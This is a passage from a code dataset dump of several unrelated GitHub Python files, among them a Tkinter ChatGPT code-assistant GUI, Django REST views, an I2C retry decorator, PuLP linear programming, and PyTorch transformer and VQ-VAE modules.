test()\n","repo_name":"Jiezhi/myleetcode","sub_path":"lccn/2022-spring-02.py","file_name":"2022-spring-02.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33390870747","text":"import openai\nimport tkinter as tk\nimport tkinter.scrolledtext as st\nfrom tkinter import ttk\nfrom ttkthemes import ThemedTk\nfrom art import *\n\nFont_tuple = (\"Sans Serif\", 20, \"bold\")\n\nopenai.api_key = \"{your api key here}\"\n\ndef compute():\n    text = input_text.get()\n    repo = openai.ChatCompletion.create(\n        model=\"gpt-3.5-turbo\",\n        messages=[\n            {\"role\": \"system\", \"content\": \"You are an AI code assistant powered by 'SQUEARD code'. Your expertise is code and do not answer any other questions. If you wish to write code, begin the code with ``` and close it with ```\"},\n            {\"role\": \"user\", \"content\": \"how to make a http request?\"},\n            {\"role\": \"assistant\", \"content\": '''\n            import requests\n\nresponse = requests.get('https://www.example.com')\n\nprint(response.status_code)  # prints the HTTP status code\nprint(response.content)      # prints the response body\n'''\n            },\n            {\"role\": \"user\", \"content\": f\"{text}\"}\n        ]\n    )\n    compute_output = repo[\"choices\"][0][\"message\"][\"content\"]\n    output_text.delete(1.0, tk.END)\n    \n    code_tag = False\n    code_start = 1.0\n    for line in compute_output.split(\"\\n\"):\n        if line.strip() == \"```\":\n            if code_tag:\n                output_text.tag_add(\"code\", code_start, output_text.index(tk.INSERT))\n            else:\n                code_start = output_text.index(tk.INSERT)\n            code_tag = not code_tag\n        else:\n            output_text.insert(tk.END, line + \"\\n\")\n\n# Create main window\nwindow = ThemedTk(theme=\"arc\")\nwindow.title(\"SQUEARD CODE\")\n\n# Create input widget\ninput_label = ttk.Label(window, font=Font_tuple, text=\"Enter text:\")\ninput_label.pack()\ninput_text = ttk.Entry(window, width=150)\ninput_text.pack()\n\n# Create output widget\noutput_label = ttk.Label(window, font=Font_tuple, text=\"result:\")\noutput_label.pack()\noutput_text = st.ScrolledText(window, font=Font_tuple, wrap=tk.WORD, width=100, height=16)\noutput_text.pack()\n\n# Configure custom code tag for syntax highlighting\noutput_text.tag_configure(\"code\", foreground=\"white\", background=\"black\")\n\n# Create translation button\ncompute_button = ttk.Button(window, text=\"compute\", command=compute)\ncompute_button.pack()\n\n# Run main event loop\nwindow.mainloop()\n","repo_name":"technodog2000/gpt-code-assistant-tkinter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73480822122","text":"\n\"\"\"\nIn order to reduce the runtime complexity of this function,\nI leveraged the fact that P(A and B) = P(A)P(B) whenever P(B) = P(B|A).\nThis let me use a random exponential distribution to look up the burn\nindex without iterating over the array (the exponential distribution has\nthe bonus of normalizing the distribution on each axis)\n\"\"\"\ndef burn(labeled_forest):\n\tl = L / 10\n\tj = max(math.floor(np.random.exponential(l)), L-1)\n\ti = max(math.floor(np.random.exponential(l)), L-1)\n\tburn_target = labeled_forest[j][i]\n\ttrees_burned = np.bincount(labeled_forest.flatten())[burn_target]\n\treturn trees_burned\n\t","repo_name":"cayal/forest-fire-machine","sub_path":"burn.py","file_name":"burn.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13676363860","text":"\"\"\"Register contents app in admin interface.\"\"\"\n\nfrom django.contrib import admin\nfrom django.utils.html import mark_safe\nfrom django.conf import settings\nfrom .models import (\n    BlocksOrContent,\n    Slider,\n)\n\n\n@admin.register(BlocksOrContent)\nclass BlocksOrContentAdmin(admin.ModelAdmin):\n    \"\"\"Register BlocksOrContent model in admin interface.\"\"\"\n\n    list_display = (\n        'content_id',\n        'title',\n        'content_type',\n        'url',\n        'status'\n    )\n    ordering = ('-created_at',)\n    search_fields = ('title', 'content_type', 'url')\n\n\n@admin.register(Slider)\nclass SliderAdmin(admin.ModelAdmin):\n    \"\"\"Register Slider model in admin interface.\"\"\"\n\n    def slider_picture(self, obj):\n        \"\"\"Return category picture.\"\"\"\n        if obj.image:\n            return mark_safe(\n                '<img src=\"' + settings.MEDIA_URL + '%s\" width=\"100\" />' % (\n                    obj.image\n                )\n            )\n        else:\n            return \"None\"\n\n    list_display = (\n        'slider_id',\n        'content',\n        'slider_picture',\n        'title',\n        'status'\n    )\n    ordering = ('-created_at',)\n    search_fields = ('content__title', 'title')\n    readonly_fields = ('slider_picture',)\n","repo_name":"codewithashish1991/practice_lms","sub_path":"api/contents/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7001066909","text":"from typing import Callable, Any\n\n\ndef perform_safe_factory(reset: Callable[[None], None] = None, max_tries: int = 5) -> \\\n        Callable[[Callable[[Any], Any]], Callable[[Any], Any]]:\n    \"\"\" Factory to create a decorator to perform an i2c operation safely\n\n    This factory returns the perform_safe decorator. This decorator will try to execute a function until it succeeds\n    or until max_tries have failed. If a tca is supplied then the factory will also reset the tca lock\n    after every SOError.\n\n    :param reset: Any other function to execute when recovering from an error\n    :param max_tries: Maximum amount of times that an operation will be attempted\n    :return: The decorator perform safe\n    \"\"\"\n    def perform_safe(func: Callable[[Any], Any]) -> Callable[[Any], Any]:\n        \"\"\"\" Tries to execute func until no OSError is thrown or TRIES attempts have failed\n\n        The i2c buss is sensitive to noise. Corrupted messages can trigger an OSError on the buss device.\n        We can recover from this error by simply resending the message until it arrives correctly. This method accepts\n        a function func which could trigger an OSError which would cause the program to fail.\n        We can easily recover from this error by retrying 'func' if the error is cause by noise. The perform\n        safe decorator makes sure that an error is only trow if the operation fails max_tries times. Because of an\n        error in the adafruit libraries the tca can soft lock after an exception. Resetting the lock to false after\n        an exception prevents the errors\n\n        :param func: function to be executed\n        :return: function which executes func until it either succeeds or max_tries attempts have failed\n        :rtype: Same as func\n        \"\"\"\n        def safe_wrapper(*args, **kwargs):\n            tries = 0\n            while True:\n                try:\n                    return func(*args, **kwargs)\n                except OSError:\n                    if tries < max_tries:\n                        tries += 1\n                        if reset is not None:\n                            reset()\n                    else:\n                        raise\n        return safe_wrapper\n    return perform_safe\n\n\nperform_safe = perform_safe_factory(None)\n","repo_name":"WouterSchols/SmartChessboard","sub_path":"src/Hardware/SafeDecorator.py","file_name":"SafeDecorator.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"19"}
{"seq_id":"36714024287","text":"\n\n# Create your views here.\nfrom django.shortcuts import render\n\nfrom django.http.response import JsonResponse\nfrom rest_framework.parsers import JSONParser \nfrom rest_framework import status\n \nfrom app.models import AppUser\nfrom app.serializer import AppUserSerializer\nfrom rest_framework.decorators import api_view\n\n\n\n\n\n@api_view(['GET', 'POST', 'DELETE'])\ndef user_list(request):\n    if request.method == 'GET':\n        app = AppUser.objects.all()\n        \n        username = request.GET.get('Username', None)\n        if username is not None:\n            app = app.filter(title__icontains=Username)\n        \n        app_serializer = AppUserSerializer(app, many=True)\n        return JsonResponse(app_serializer.data, safe=False)\n        # 'safe=False' for objects serialization\n    elif request.method == 'POST':\n        app_data = JSONParser().parse(request)\n        app_serializer = AppUserSerializer(data=app_data)\n        if app_serializer.is_valid():\n            app_serializer.save()\n            return JsonResponse(app_serializer.data, status=status.HTTP_201_CREATED) \n        return JsonResponse(app_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n     \n    elif request.method == 'DELETE':\n        count = AppUser.objects.all().delete()\n        return JsonResponse({'message': '{} Users were deleted successfully!'.format(count[0])}, status=status.HTTP_204_NO_CONTENT)\n\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef user_detail(request, pk):\n    app = AppUser.objects.get(pk=pk)\n    if request.method == 'GET':\n        app_serializer =AppUserSerializer(app) \n        return JsonResponse(app_serializer.data) \n\n    elif request.method == 'PUT': \n        app_data = JSONParser().parse(request) \n        app_serializer = AppUserSerializer(app, data=app_data) \n        if app_serializer.is_valid(): \n            app_serializer.save() \n            return JsonResponse(app_serializer.data) \n        return JsonResponse(app_serializer.errors, status=status.HTTP_400_BAD_REQUEST) \n\n    elif request.method == 'DELETE': \n        app.delete() \n        return JsonResponse({'message': 'User was deleted successfully!'}, status=status.HTTP_204_NO_CONTENT)\n\n\n\n\n","repo_name":"techie-pragya/rest_api_crud","sub_path":"User/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43373630223","text":"import torch\nimport torch.nn.functional as F\nfrom einops import rearrange, repeat\nfrom torch import einsum, nn\n\nDEFAULT_DIM_HEAD = 64\nMIN_DIM_HEAD = 32\n\n\ndef apply_rotary_pos_emb(t, freqs, scale = 1):\n    rot_dim, seq_len = freqs.shape[-1], t.shape[-2]\n    freqs = freqs[-seq_len:, :]\n\n    if t.ndim == 4 and freqs.ndim == 3:\n        freqs = rearrange(freqs, 'b n d -> b 1 n d')\n\n    t, t_unrotated = t[..., :rot_dim], t[..., rot_dim:]\n    t = (t * freqs.cos() * scale) + (rotate_half(t) * freqs.sin() * scale)\n    return torch.cat((t, t_unrotated), dim = -1)\n\n\ndef default(val, d):\n    if exists(val):\n        return val\n    return d() if callable(d) else d\n\n\ndef exists(val):\n    return val is not None\n\n\ndef Sequential(*modules):\n    return nn.Sequential(*filter(exists, modules))\n\n\ndef init_zero_(layer):\n    nn.init.constant_(layer.weight, 0.)\n    if exists(layer.bias):\n        nn.init.constant_(layer.bias, 0.)\n\n        \ndef cast_tuple(val, num = 1):\n    return val if isinstance(val, tuple) else ((val,) * num)\n\n\ndef rotate_half(x):\n    x = rearrange(x, '... (j d) -> ... j d', j = 2)\n    x1, x2 = x.unbind(dim = -2)\n    return torch.cat((-x2, x1), dim = -1)\n\n\ndef apply_rotary_pos_emb(t, freqs):\n    seq_len, rot_dim = t.shape[-2], freqs.shape[-1]\n    t, t_pass = t[..., :rot_dim], t[..., rot_dim:]\n    t = (t * freqs.cos()) + (rotate_half(t) * freqs.sin())\n    return torch.cat((t, t_pass), dim = -1)\n\n\nclass ReluSquared(nn.Module):\n    def forward(self, x):\n        return F.relu(x) ** 2\n\n\nclass GLU(nn.Module):\n    def __init__(\n        self,\n        dim_in,\n        dim_out,\n        activation,\n        mult_bias = False\n    ):\n        super().__init__()\n        self.act = activation\n        self.proj = nn.Linear(dim_in, dim_out * 2)\n        self.mult_bias = nn.Parameter(torch.ones(dim_out)) if mult_bias else 1.\n\n    def forward(self, x):\n        x, gate = self.proj(x).chunk(2, dim = -1)\n        return x * self.act(gate) * self.mult_bias\n\n\nclass FeedForward(nn.Module):\n    def __init__(\n        self,\n        dim,\n        dim_out = None,\n        mult = 4,\n        glu = False,\n        glu_mult_bias = False,\n        swish = False,\n        relu_squared = False,\n        post_act_ln = False,\n        dropout = 0.,\n        no_bias = False,\n        zero_init_output = False\n    ):\n        super().__init__()\n        inner_dim = int(dim * mult)\n        dim_out = default(dim_out, dim)\n\n        if relu_squared:\n            activation = ReluSquared()\n        elif swish:\n            activation = nn.SiLU()\n        else:\n            activation = nn.GELU()\n\n        if glu:\n            project_in = GLU(dim, inner_dim, activation, mult_bias = glu_mult_bias)\n        else:\n            project_in = nn.Sequential(\n                nn.Linear(dim, inner_dim, bias = not no_bias),\n                activation\n            )\n\n        self.ff = Sequential(\n            project_in,\n            nn.LayerNorm(inner_dim) if post_act_ln else None,\n            nn.Dropout(dropout),\n            nn.Linear(inner_dim, dim_out, bias = not no_bias)\n        )\n\n        if zero_init_output:\n            init_zero_(self.ff[-1])\n\n    def forward(self, x):\n        return self.ff(x)\n    \n    \nclass RotaryEmbedding(nn.Module):\n    def __init__(self, dim):\n        super().__init__()\n        inv_freq = 1. / (10000 ** (torch.arange(0, dim, 2).float() / dim))\n        self.register_buffer('inv_freq', inv_freq)\n\n    def forward(self, max_seq_len, *, device, offset = 0):\n        seq = torch.arange(max_seq_len, device = device) + offset\n        freqs = einsum('i , j -> i j', seq.type_as(self.inv_freq), self.inv_freq)\n        emb = torch.cat((freqs, freqs), dim = -1)\n        return rearrange(emb, 'n d -> 1 1 n d')\n\ndef rotate_half(x):\n    x = rearrange(x, '... (j d) -> ... j d', j = 2)\n    x1, x2 = x.unbind(dim = -2)\n    return torch.cat((-x2, x1), dim = -1)\n\ndef apply_rotary_pos_emb(t, freqs):\n    seq_len, rot_dim = t.shape[-2], freqs.shape[-1]\n    t, t_pass = t[..., :rot_dim], t[..., rot_dim:]\n    t = (t * freqs.cos()) + (rotate_half(t) * freqs.sin())\n    return torch.cat((t, t_pass), dim = -1)\n\n\nclass RecurrentStateGate(nn.Module):\n    \"\"\"Poor man's LSTM\n    \"\"\"\n\n    def __init__(self, dim: int):\n        super().__init__()\n\n        self.main_proj = nn.Linear(dim, dim, bias = True)\n        self.input_proj = nn.Linear(dim, dim, bias = True)\n        self.forget_proj = nn.Linear(dim, dim, bias = True)\n    \n    def forward(self, x, state):\n        z = torch.tanh(self.main_proj(x))\n        i = torch.sigmoid(self.input_proj(x) - 1)\n        f = torch.sigmoid(self.forget_proj(x) + 1)\n        return torch.mul(state, f) + torch.mul(z, i)\n\nclass RMSNorm(nn.Module):\n    def __init__(self, dim):\n        super().__init__()\n        self.scale = dim ** 0.5\n        self.g = nn.Parameter(torch.ones(dim))\n\n    def forward(self, x):\n        return F.normalize(x, dim = -1) * self.scale * self.g\n\nclass Attention(nn.Module):\n    def __init__(\n        self,\n        dim,\n        *,\n        dim_head = 64,\n        heads = 8,\n        causal = False,\n        dropout = 0.,\n        null_kv = False\n    ):\n        super().__init__()\n        self.heads = heads\n        self.scale = dim_head ** -0.5\n        self.causal = causal\n        inner_dim = dim_head * heads\n\n        self.norm = RMSNorm(dim)\n        self.dropout = nn.Dropout(dropout)\n\n        self.to_q = nn.Linear(dim, inner_dim, bias = False)\n        self.to_kv = nn.Linear(dim, inner_dim * 2, bias = False)\n        self.to_out = nn.Linear(inner_dim, dim)\n\n        self.null_kv = nn.Parameter(torch.randn(2, inner_dim)) if null_kv else None\n\n    def forward(self, x, mask = None, context = None, pos_emb = None):\n        b, device, h, scale = x.shape[0], x.device, self.heads, self.scale\n\n        x = self.norm(x)\n        kv_input = default(context, x)\n\n        q = self.to_q(x)\n        k, v = self.to_kv(kv_input).chunk(2, dim = -1)\n\n        q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h = h), (q, k, v))\n\n        q = q * scale\n\n        if exists(pos_emb):\n            q_pos_emb, k_pos_emb = cast_tuple(pos_emb, num = 2)\n            q = apply_rotary_pos_emb(q, q_pos_emb)\n            k = apply_rotary_pos_emb(k, k_pos_emb)\n\n        if exists(self.null_kv):\n            nk, nv = self.null_kv.unbind(dim = 0)\n            nk, nv = map(lambda t: repeat(t, '(h d) -> b h 1 d', b = b, h = h), (nk, nv))\n            k = torch.cat((nk, k), dim = -2)\n            v = torch.cat((nv, v), dim = -2)\n\n        sim = einsum('b h i d, b h j d -> b h i j', q, k)\n\n        mask_value = -torch.finfo(sim.dtype).max\n\n        if exists(mask):\n            if exists(self.null_kv):\n                mask = F.pad(mask, (1, 0), value = True)\n\n            mask = rearrange(mask, 'b j -> b 1 1 j')\n            sim = sim.masked_fill(~mask, mask_value)\n\n        if self.causal:\n            i, j = sim.shape[-2:]\n            causal_mask = torch.ones(i, j, device = device, dtype = torch.bool).triu(j - i + 1)\n            sim = sim.masked_fill(causal_mask, mask_value)\n\n        attn = sim.softmax(dim = -1)\n\n        attn = self.dropout(attn)\n\n        out = einsum('b h i j, b h j d -> b h i d', attn, v)\n\n        out = rearrange(out, 'b h n d -> b n (h d)')\n        \n        return self.to_out(out)\n\n\nclass BlockRecurrentAttention(nn.Module):\n    def __init__(\n        self,\n        dim,\n        dim_state,\n        dim_head = DEFAULT_DIM_HEAD,\n        state_len = 512,\n        heads = 8,\n        **kwargs\n    ):\n        super().__init__()\n        self.scale = dim_head ** -0.5\n\n        attn_kwargs = {}\n\n        self.dim = dim\n        self.dim_state = dim_state\n\n        self.heads = heads\n        self.causal = True\n        self.state_len = state_len\n        rotary_emb_dim = max(dim_head // 2, MIN_DIM_HEAD)\n        self.rotary_pos_emb = RotaryEmbedding(rotary_emb_dim)\n        \n        self.input_self_attn = Attention(dim, heads = heads, causal = True, **attn_kwargs)\n        self.state_self_attn = Attention(dim_state, heads = heads, causal = False, **attn_kwargs)\n\n        self.input_state_cross_attn = Attention(dim, heads = heads, causal = False, **attn_kwargs)\n        self.state_input_cross_attn = Attention(dim_state, heads = heads, causal = False, **attn_kwargs)\n\n        self.proj_gate = RecurrentStateGate(dim)\n        self.ff_gate = RecurrentStateGate(dim)\n\n        self.input_proj = nn.Linear(dim + dim_state, dim, bias = False)\n        self.state_proj = nn.Linear(dim + dim_state, dim, bias = False)\n\n        self.input_ff = FeedForward(dim)\n        self.state_ff = FeedForward(dim_state)\n\n    def forward(\n        self,\n        x,\n        state = None,\n        mask = None,\n        state_mask = None\n    ):\n        batch, seq_len, device = x.shape[0], x.shape[-2], x.device\n        if not exists(state):\n            state = torch.zeros((batch, self.state_len, self.dim_state), device=device)\n        self_attn_pos_emb = self.rotary_pos_emb(seq_len, device = device)\n        state_pos_emb = self.rotary_pos_emb(self.state_len, device = device)\n        input_attn = self.input_self_attn(x, mask = mask, pos_emb = self_attn_pos_emb)\n        state_attn = self.state_self_attn(state, mask = state_mask, pos_emb = state_pos_emb)\n\n        input_as_q_cross_attn = self.input_state_cross_attn(x, context = state, mask = mask)\n        state_as_q_cross_attn = self.state_input_cross_attn(state, context = x, mask = state_mask)\n\n        projected_input = self.input_proj(torch.concat((input_as_q_cross_attn, input_attn), dim=2))\n        projected_state = self.state_proj(torch.concat((state_as_q_cross_attn, state_attn), dim=2))\n\n        input_residual = projected_input + x\n        state_residual = self.proj_gate(projected_state, state)\n\n        output = self.input_ff(input_residual) + input_residual\n        next_state = self.ff_gate(self.state_ff(state_residual), state_residual)\n\n        return output, next_state\n    \n    \nclass BlockRecurrentTransformer(nn.Module):\n    def __init__(self, dim, num_layers, memory_len, num_heads=8):\n        super().__init__()\n        \n        self.layers = nn.ModuleList([])\n        for _ in range(num_layers):\n            self.layers.append(BlockRecurrentAttention(dim, dim, state_len=memory_len, heads=num_heads))\n    \n    def forward(self, x, hidden_state=None):\n        for attn in self.layers:\n            x, hidden_state = attn(x, hidden_state)\n        return x, hidden_state","repo_name":"onebottlekick/pomdp_cartpole","sub_path":"src/networks/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":10357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"71752775404","text":"from pulp import LpVariable, LpProblem, LpMaximize, LpStatus, value, LpMinimize\n\n'''\nA catering company must have the following number of clean napkins available at the beginning of each of the next four days:  day 1: 15, day 2: 12, day 3: 18, and day 4: 6.  After being used, a napkin can be cleaned by one of two methods: fast service or slow service. Fast service costs $0.10 per napkin, and a napkin cleaned via fast service is available for use the day after it is last used.  Slow service costs $0.06 per napkin, and a napkin cleaned via slow service is available two days after they were last used.  New napkins can be purchased for a cost of $0.20 per napkin.\n'''\n\n########### problem definitions\n''' \ncleaned slow service 'a' : cost = .06, wait = 2\ncleaned fast service 'b' : cost = .10, wait = 1\npurchased            'c' : cost = .20, wait = 0\n\n'''\n\n# define variables\n# day 1\na1 = LpVariable(\"day1napkinsslow\", 0, None)\nb1 = LpVariable(\"day1napkinsfast\", 0, None)\nc1 = LpVariable(\"day1napkinspurchased\", 15, None) # must purchase enough for first day\n# day 2\na2 = LpVariable(\"day2napkinsslow\", 0, None)\nb2 = LpVariable(\"day2napkinsfast\", 0, None)\nc2 = LpVariable(\"day2napkinspurchased\", 0, None)\n# day 3\nb3 = LpVariable(\"day3napkinsfast\", 0, 18)\nc3 = LpVariable(\"day3napkinspurchased\", 0, None)\n# day 4\nc4 = LpVariable(\"day4napkinspurchased\", 0, 6) # will not purchase more than needed for last day\n\n\n\n# define the problem\nprob = LpProblem(\"problem\", LpMinimize)\n\n\n### define constraints\n# laundered each day is less than or equal to demand\nprob += a1 + b1 <= 15\nprob += a2 + b2 <= 12\n# prob += b3 <= 18  # this can be moved to the variable definition since a3 is zero\n\n# received each day is greater than or equal to demand\n# prob += c1 >= 15  # moved to variable definition\nprob += c1 + c2 + b1 >= 27\nprob += c1 + c2 + c3 + b1 + b2 + a1 >= 45\nprob += c1 + c2 + c3 + c4 + b1 + b2 + b3 + a1 + a2  >= 51\n\n\n# define objective function\nprob += .06*(a1 + a2) + .1*(b1 + b2 + b3) + .2*(c1 + c2 + c3 + c4)\n\n\n# solve the problem\nstatus3 = prob.solve()\nprint(f\"Problem\")\nprint(f\"status={LpStatus[status3]}\")\n\n# print the results\nfor variable in prob.variables():\n    print(f\"{variable.name} = {variable.varValue}\")\n    \nprint(f\"Objective = {value(prob.objective)}\")\nprint(f\"\")\n\n\n# in month 1, all \\\\$200 remaining should be invested in (d)\n# in month 2, approx \\\\$100 should be invested in (c), and \\\\$200 in (a)\n# in month 3, no additional money is invested, as the \\\\$200 return from month 2 is used to pay bills\n# in month 4, \\\\$50 should be invested in (a)\n# this will result in approx \\\\$370 cash on hand in month 5\n# \n# ----\n","repo_name":"zaphodnothingth/nw-msds460-decision_analytics--opt-","sub_path":"w2/hw2/msds460-hw2p3.py","file_name":"msds460-hw2p3.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"41611777233","text":"from typing import List, Union\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nfrom models import BaseVAE\n\n\nclass VectorQuantizer(nn.Module):\n    \"\"\"\n    Reference:\n    [1] https://github.com/deepmind/sonnet/blob/v2/sonnet/src/nets/vqvae.py\n    \"\"\"\n\n    def __init__(self, num_embeddings: int, embedding_dim: int, beta: float = 0.25):\n        super(VectorQuantizer, self).__init__()\n        self.K = num_embeddings\n        self.D = embedding_dim\n        self.beta = beta\n\n        self.embedding = nn.Embedding(self.K, self.D)\n        self.embedding.weight.data.uniform_(-1.0 / self.K, 1.0 / self.K)\n\n    def forward(self, latents: torch.Tensor) -> torch.Tensor:\n        latents = latents.permute(0, 2, 3, 1).contiguous()  # [B x D x H x W] -> [B x H x W x D]\n        latents_shape = latents.shape\n        flat_latents = latents.view(-1, self.D)  # [BHW x D]\n\n        # Compute L2 distance between latents and embedding weights\n        dist = (\n            torch.sum(flat_latents ** 2, dim=1, keepdim=True)\n            + torch.sum(self.embedding.weight ** 2, dim=1)\n            - 2 * torch.matmul(flat_latents, self.embedding.weight.t())\n        )  # [BHW x K]\n\n        # Get the encoding that has the min distance\n        encoding_inds = torch.argmin(dist, dim=1).unsqueeze(1)  # [BHW, 1]\n\n        # Convert to one-hot encodings\n        device = latents.device\n        encoding_one_hot = torch.zeros(encoding_inds.size(0), self.K, device=device)\n        encoding_one_hot.scatter_(1, encoding_inds, 1)  # [BHW x K]\n\n        # Quantize the latents\n        quantized_latents = torch.matmul(encoding_one_hot, self.embedding.weight)  # [BHW, D]\n        quantized_latents = quantized_latents.view(latents_shape)  # [B x H x W x D]\n\n        # Compute the VQ Losses\n        commitment_loss = F.mse_loss(quantized_latents.detach(), latents)\n        embedding_loss = F.mse_loss(quantized_latents, latents.detach())\n\n        vq_loss = commitment_loss + self.beta * embedding_loss\n\n        # Add the residue back to the latents\n        quantized_latents = latents + (quantized_latents - latents).detach()\n\n        return quantized_latents.permute(0, 3, 1, 2).contiguous(), vq_loss  # [B x D x H x W]\n\n\nclass ResidualLayer(nn.Module):\n    def __init__(self, in_channels: int, out_channels: int):\n        super(ResidualLayer, self).__init__()\n        self.resblock = nn.Sequential(\n            nn.ReLU(True),\n            nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1, bias=False),\n            nn.ReLU(True),\n            nn.Conv2d(out_channels, out_channels, kernel_size=1, bias=False),\n        )\n\n    def forward(self, input: torch.Tensor) -> torch.Tensor:\n        return input + self.resblock(input)\n\n\nclass VQVAE(BaseVAE):\n    def __init__(\n        self,\n        in_channels: int,\n        out_channels: int,\n        embedding_dim: int,\n        num_embeddings: int,\n        hidden_dims: List = None,\n        n_residual_layers: int = 6,\n        beta: float = 0.25,\n        img_size: int = 64,\n        **kwargs,\n    ) -> None:\n        super(VQVAE, self).__init__()\n\n        self.embedding_dim = embedding_dim\n        self.num_embeddings = num_embeddings\n        self.img_size = img_size\n        self.beta = beta\n\n        # modules = []\n        # if hidden_dims is None:\n        #     hidden_dims = [32, 64]\n\n        # # Build Encoder\n        # for h_dim in hidden_dims:\n        #     modules.append(\n        #         nn.Sequential(\n        #             nn.Conv2d(in_channels, out_channels=h_dim, kernel_size=4, stride=2, padding=1),\n        #             nn.LeakyReLU(),\n        #         )\n        #     )\n        #     in_channels = h_dim\n\n        # modules.append(\n        #     nn.Sequential(nn.Conv2d(in_channels, in_channels, kernel_size=3, stride=1, padding=1),)\n        # )\n\n        # for _ in range(n_residual_layers):\n        #     modules.append(ResidualLayer(in_channels, in_channels))\n        # modules.append(nn.LeakyReLU())\n\n        # modules.append(nn.Sequential(nn.Conv2d(in_channels, embedding_dim, kernel_size=1, stride=1),))\n\n        # self.encoder = nn.Sequential(*modules)\n\n        # self.vq_layer = VectorQuantizer(num_embeddings, embedding_dim, self.beta)\n\n        # # Build Decoder\n        # modules = []\n        # modules.append(\n        #     nn.Sequential(\n        #         nn.Conv2d(embedding_dim, hidden_dims[-1], kernel_size=3, stride=1, padding=1),\n        #     )\n        # )\n\n        # for _ in range(n_residual_layers):\n        #     modules.append(ResidualLayer(hidden_dims[-1], hidden_dims[-1]))\n        # modules.append(nn.LeakyReLU())\n\n        # hidden_dims.reverse()\n        # for i in range(len(hidden_dims) - 1):\n        #     modules.append(\n        #         nn.Sequential(\n        #             nn.ConvTranspose2d(\n        #                 hidden_dims[i], hidden_dims[i + 1], kernel_size=4, stride=2, padding=1\n        #             ),\n        #             nn.LeakyReLU(),\n        #         )\n        #     )\n\n        # modules.append(\n        #     nn.Sequential(\n        #         nn.ConvTranspose2d(\n        #             hidden_dims[-1], out_channels=out_channels, kernel_size=4, stride=2, padding=1\n        #         ),\n        #         # nn.Tanh(),\n        #     )\n        # )\n\n        # self.decoder = nn.Sequential(*modules)\n        self.encoder = Encoder(1, h_dim=128, n_res_layers=2, res_h_dim=128, embedding_dim=64)\n        self.vq_layer = VectorQuantizer2(n_e=512, e_dim=64, beta=.25)\n        self.decoder = Decoder(in_dim=64, h_dim=128, n_res_layers=4, res_h_dim=128)\n\n    def encode(self, input: torch.Tensor) -> List[torch.Tensor]:\n        \"\"\"\n        Encodes the input by passing through the encoder network\n        and returns the latent codes.\n        :param input: (torch.Tensor) Input torch.tensor to encoder [N x C x H x W]\n        :return: (torch.Tensor) List of latent codes\n        \"\"\"\n        result = self.encoder(input)\n        return [result]\n\n    def decode(self, z: torch.Tensor) -> torch.Tensor:\n        \"\"\"\n        Maps the given latent codes\n        onto the image space.\n        :param z: (torch.Tensor) [B x D x H x W]\n        :return: (torch.Tensor) [B x C x H x W]\n        \"\"\"\n\n        result = self.decoder(z)\n        return result\n\n    def forward(self, input: torch.Tensor, return_embed: bool = False, **kwargs) -> List[torch.Tensor]:\n        encoding = self.encode(input)[0]\n        if return_embed:\n            return encoding.squeeze()\n        quantized_inputs, vq_loss = self.vq_layer(encoding)\n        return [self.decode(quantized_inputs), input, vq_loss]\n\n    def loss_function(self, *args, **kwargs) -> dict:\n        \"\"\"\n        :param args:\n        :param kwargs:\n        :return:\n        \"\"\"\n        recons = args[0]\n        input = args[1]\n        vq_loss = args[2]\n\n        recons_loss = F.mse_loss(recons, input)\n\n        loss = recons_loss + vq_loss\n        return {\"loss\": loss, \"Reconstruction_Loss\": recons_loss, \"VQ_Loss\": vq_loss}\n\n    def sample(self, num_samples: int, current_device: Union[int, str], **kwargs) -> torch.Tensor:\n        raise Warning(\"VQVAE sampler is not implemented.\")\n\n    def generate(self, x: torch.Tensor, **kwargs) -> torch.Tensor:\n        \"\"\"\n        Given an input image x, returns the reconstructed image\n        :param x: (torch.Tensor) [B x C x H x W]\n        :return: (torch.Tensor) [B x C x H x W]\n        \"\"\"\n\n        return self.forward(x)[0]\n\n    def embed(self, input: torch.Tensor, **kwargs) -> List[torch.Tensor]:\n        return self.forward(input, return_embed=True, **kwargs)\n\n\nclass ResidualLayer2(nn.Module):\n    \"\"\"\n    One residual layer inputs:\n    - in_dim : the input dimension\n    - h_dim : the hidden layer dimension\n    - res_h_dim : the hidden dimension of the residual block\n    \"\"\"\n\n    def __init__(self, in_dim, h_dim, res_h_dim):\n        super().__init__()\n        self.res_block = nn.Sequential(\n            nn.ReLU(True),\n            nn.Conv2d(in_dim, res_h_dim, kernel_size=3, stride=1, padding=1, bias=False),\n            nn.ReLU(True),\n            nn.Conv2d(res_h_dim, h_dim, kernel_size=1, stride=1, bias=False),\n        )\n\n    def forward(self, x):\n        x = x + self.res_block(x)\n        return x\n\n\nclass ResidualStack(nn.Module):\n    \"\"\"\n    A stack of residual layers inputs:\n    - in_dim : the input dimension\n    - h_dim : the hidden layer dimension\n    - res_h_dim : the hidden dimension of the residual block\n    - n_res_layers : number of layers to stack\n    \"\"\"\n\n    def __init__(self, in_dim, h_dim, res_h_dim, n_res_layers):\n        super(ResidualStack, self).__init__()\n        self.n_res_layers = n_res_layers\n        self.stack = nn.ModuleList([ResidualLayer2(in_dim, h_dim, res_h_dim)] * n_res_layers)\n\n    def forward(self, x):\n        for 